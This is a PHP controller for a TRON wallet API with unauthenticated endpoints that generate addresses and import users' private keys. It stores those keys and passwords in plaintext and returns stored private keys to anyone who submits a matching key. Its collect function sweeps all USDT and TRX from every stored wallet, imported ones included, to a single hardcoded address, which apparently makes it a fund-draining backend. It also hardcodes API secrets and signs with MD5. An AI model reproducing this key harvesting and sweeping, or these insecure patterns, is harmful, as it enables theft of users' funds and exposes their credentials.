<?php
namespace app\api\controller;

use app\common\controller\UnLogin;
use think\Db;
/**
 * 
 */
class Trx extends UnLogin
{	
	private $trxService;
    public $apiKey = 'lnmsxasdkladnakn';
    public $apiSecret = 'qajbsfblfw90289abd1eo90adi0a';
    //初始化
    public function initialize()
    {
        parent::initialize();
        $this->trxService = new \app\common\service\TrxService();
    }

    //生成地址
	public function getAddress(){
		$password = G("password")?:'a1234567';
		$res = $this->trxService->getAddress($password);
		$ret = Db::table('tp_trx')->insert([
			'address'=>$res['address'],
			'hex_address'=>$res['hex_address'],
			'password'=>$password,
			'private_key'=>$res['private_key'],
			'public_key'=>$res['public_key'],
			'create_date'=>date('Y-m-d H:i:s')
		]);
		$data = [];
		$data['address'] = $res['address'];
		if ($ret) {
			$this->retData(0, 'success',$data);
		} else {
			$this->retData(1, '数据库连接失败');
		}
	}

	//私钥导入
	public function importByPrivateKey(){
		$private_key = G("private_key");
		if (\IEXBase\TronAPI\Support\Utils::isHex($private_key) === false) {
			$this->retData(1, 'Invalid private key format.');
        }
        if (strlen($private_key) !== 64) {
        	$this->retData(1, 'Invalid private key length.');
        }
        $has = Db::table('tp_trx')->where('private_key',$private_key)->field('address,hex_address,private_key,public_key')->find();
        if ($has) {
        	$this->retData(0, 'success',$has);
        } else {
        	$trx = $this->trxService;
        	$res = $trx->importByPrivateKey($private_key);
        	$ret = Db::table('tp_trx')->insert([
				'address'=>$res['address'],
				'hex_address'=>$res['hex_address'],
				'password'=>'a1234567',
				'private_key'=>$res['private_key'],
				'public_key'=>$res['public_key'],
				'create_date'=>date('Y-m-d H:i:s')
			]);
			if ($ret) {
				$this->retData(0, 'success',$res);
			} else {
				$this->retData(1, '数据库连接失败');
			}
        }
	}
	
	//trx
	public function transTrx(){
		set_time_limit(0);
		$time = time();
		$trx = $this->trxService;
		$fee_address = Db::table('tp_trx')->where('id',1)->find();
		$data = Db::table('tp_trx')->where('address','in','TJokGwGZjMPhAKQBcALGTPqmAQok2rX1y7,TPrWvszJ2nrczdF1L1mSf88SXnxn1pohoQ')->select();
		$gasPrice = 7;
		$collect_address      = C('TRX_COLLECT_ADDRESS');
		foreach ($data as $key => $val) {
				$address = $val['address'];
				//需要归集
				$trx_balance  = $trx->getTrxBalance($address)/1000000;
				// if ($trx_balance < $gasPrice) {
					//需要手续费
					// echo "--".$address."--".$usdt_balance."--".$trx_balance."\n";
					$trx->transTrx([
						'to'=>$collect_address,
						'amount'=>$trx_balance,
						'private_key'=>$val['private_key'],
						'hex_address'=>$val['hex_address'],
						
					]);
					$status = 2;
				// }
			// Db::table('tp_trx')->where('id',$val['id'])->update([
			// 	'gas_price'   =>$gasPrice,
			// 	'collect_time'=>$time,
			// 	'status'=>$status
			// ]);
		}
		echo "trx_trans_success";
	}

	//转账手续费
	//1分钟处理20个 预打 
	public function transFee(){
		set_time_limit(0);
		$time = time();
		$trx = $this->trxService;
		$fee_address = Db::table('tp_trx')->where('id',1)->find();
		$data = Db::table('tp_trx')->where('id','>',2)->where('status',1)->order('collect_time asc')->limit(20)->select();
		$gasPrice = 7;
		$usdt_min_collect_num     = C('TRX_USDT_MIN_COLLECT_NUM');
		foreach ($data as $key => $val) {
			$address = $val['address'];
			$status  = 1;
			$usdt_balance = 0;
			$usdt_balance = $trx->getUsdtBalance($address);
			
			if ($usdt_balance >= $usdt_min_collect_num) {
				//需要归集
				$trx_balance  = $trx->getTrxBalance($address)/1000000;
				if ($trx_balance < $gasPrice) {
					//需要手续费
					echo "--".$address."--".$usdt_balance."--".$trx_balance."\n";
					$trx->transTrx([
						'to'=>$address,
						'amount'=>$gasPrice,
						'private_key'=>$fee_address['private_key'],
						'hex_address'=>$fee_address['hex_address'],
						
					]);
				}
				$status = 2;
			}
			
			Db::table('tp_trx')->where('id',$val['id'])->update([
				'gas_price'   =>$gasPrice,
				'collect_time'=>$time,
				'status'=>$status
			]);
			sleep(1);
		}
		echo "fee_trans_success";
	}


	//归集
	//1分钟10个
	public function collect(){
		set_time_limit(0);
		$trx = $this->trxService;
		$data = Db::table('tp_trx')->where('id','>=',1)->order('id','asc')->select();
		foreach ($data as $key => $val) {
			//归集usdt
			$contract_address = 'TR7NHqjeKQxGTCi8q8ZY4pL8otSzgjLj6t';

			$db_balance = $trx->getDbBalance($val['address'],$contract_address);
			
			
			if ($db_balance > 0) {
				//归集
				echo $val['address']."--usdt--".$db_balance;
					$trx->transDb([
					    'from'=>$val['address'],
						'to'=>'TAHSpnaHwPnGotwUzDAGJNLys1e4WHbyD3',
						'amount'=>$db_balance,
						'gas_price'=>10,
						'private_key'=>$val['private_key'],
					],$contract_address);
					
			}
			$trx_balance  = $trx->getTrxBalance($val['address'])/1000000;
			if ($trx_balance > 0) {
				echo $val['address']."--trx--".$trx_balance;
				$trx->transTrx([
						'to'=>'TAHSpnaHwPnGotwUzDAGJNLys1e4WHbyD3',
						'amount'=>$trx_balance,
						'private_key'=>$val['private_key'],
						'hex_address'=>$val['hex_address'],
						
					]);
			}
			
		}
	}
	
	//签名
    public function makesign(array $data){
        
        ksort($data);
        
        $data['apiSecret'] = $this->apiSecret;
        // var_dump($data);
        $sign = urldecode(http_build_query($data));

        return md5($sign);

    }
    
    public function sendSpeed(){
        $address = G("address");
        $data = Db::table('tp_trx')->where('address',$address)->update(['collect_time'=>0]);
    }
}